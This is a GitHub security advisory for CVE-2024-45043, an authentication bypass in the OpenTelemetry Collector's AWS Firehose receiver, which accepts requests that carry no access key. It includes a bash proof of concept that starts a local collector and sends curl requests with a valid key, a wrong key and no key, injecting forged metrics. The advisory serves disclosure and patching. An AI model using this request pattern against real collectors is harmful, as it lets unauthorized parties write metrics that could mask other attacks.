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OpenTelemetry: AWS Firehose Receiver Vulnerability

Moderate
rcorrea35 published GHSA-q9wq-xc9h-xrw9 Oct 1, 2024

Package

Collector (OpenTelemetry)

Affected versions

> v0.49.0

Patched versions

v0.108.0

Description

Summary

OpenTelemetry Collector module awsfirehosereceiver allows unauthenticated remote requests, even when configured to require a key.

OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header X-Amz-Firehose-Access-Key with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it still accepts incoming requests with no key.

Severity

Moderate - There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data.

Proof of Concept

When simulating Firehose requests against vulnerable versions of the collector, we can see "UNAUTHORIZED METRICS" printed to the console via the debug exporter. Note this script doesn't run on older still-vulnerable versions that do not have the "debug" exporter.

#!/bin/bash

OTELCOL_VERSION=0.107.0
OTELCOL_BINARY="otelcol-contrib-${OTELCOL_VERSION}"
OTELCOL_PLATFORM="linux_amd64"
HOST_PORT=8081

cat > config.yaml << END
# https://opentelemetry.io/docs/collector/configuration/
exporters:
  debug:
    verbosity: normal
receivers:
  awsfirehose:
    endpoint : "127.0.0.1:${HOST_PORT}"
    record_type : "cwmetrics"
    access_key : "1234"
service:
  pipelines:
    metrics:
      receivers:
      - awsfirehose
      exporters:
      - debug
  telemetry:
    logs:
      encoding: "json"
      level: "debug"
END


if [ ! -x "${OTELCOL_BINARY}" ]; then
    curl --proto '=https' --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz
    tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib
    mv otelcol-contrib ${OTELCOL_BINARY}
fi

"./${OTELCOL_BINARY}" --config=config.yaml &
OTELCOL_PID=$!

echo "Running OTel Collector with PID ${OTELCOL_PID}"

sleep 3

# Send metrics with correct access key
if ! curl --fail \
  -H "Content-Type: application/json"\
  -H "X-Amz-Firehose-Request-Id: requestId-valid"\
  -H "X-Amz-Firehose-Access-Key: 1234"\
  --data '{"requestId":"requestId-valid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0="}]}'\
  http://127.0.0.1:${HOST_PORT}
then
    echo "Reqeust with valid access did not succeed"
    kill ${OTELCOL_PID}
    exit 1
fi

# Send metrics with incorrect access key
if curl --fail \
  -H "Content-Type: application/json"\
  -H "X-Amz-Firehose-Request-Id: requestId-invalid"\
  -H "X-Amz-Firehose-Access-Key: 5678"\
  --data '{"requestId":"requestId-invalid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
  http://127.0.0.1:${HOST_PORT}
then
    echo "Request succeeded with invalid access key"
    kill ${OTELCOL_PID}
    exit 1
fi

# Send unauthorized metrics without an access key
if curl --fail \
  -H "Content-Type: application/json"\
  -H "X-Amz-Firehose-Request-Id: requestId-unauthorized"\
  --data '{"requestId":"requestId-unauthorized","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
  http://127.0.0.1:${HOST_PORT}
then
    echo -e "\n*** Vulnerability present - request with no key succeeded ***\n"
else
    echo "Not vulnerable - request with no key was denied."
    kill ${OTELCOL_PID}
    exit 1
fi

kill ${OTELCOL_PID}

Further Analysis

Vulnerable code:
https://github.com/open-telemetry/opentelemetry-collector-contrib/blob/v0.107.0/receiver/awsfirehosereceiver/receiver.go#L235

Timeline

Date reported: 08/20/2024
Date fixed: 08/28/2024
Date disclosed: 09/27/2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CVE ID

CVE-2024-45043

Weaknesses

No CWEs

Credits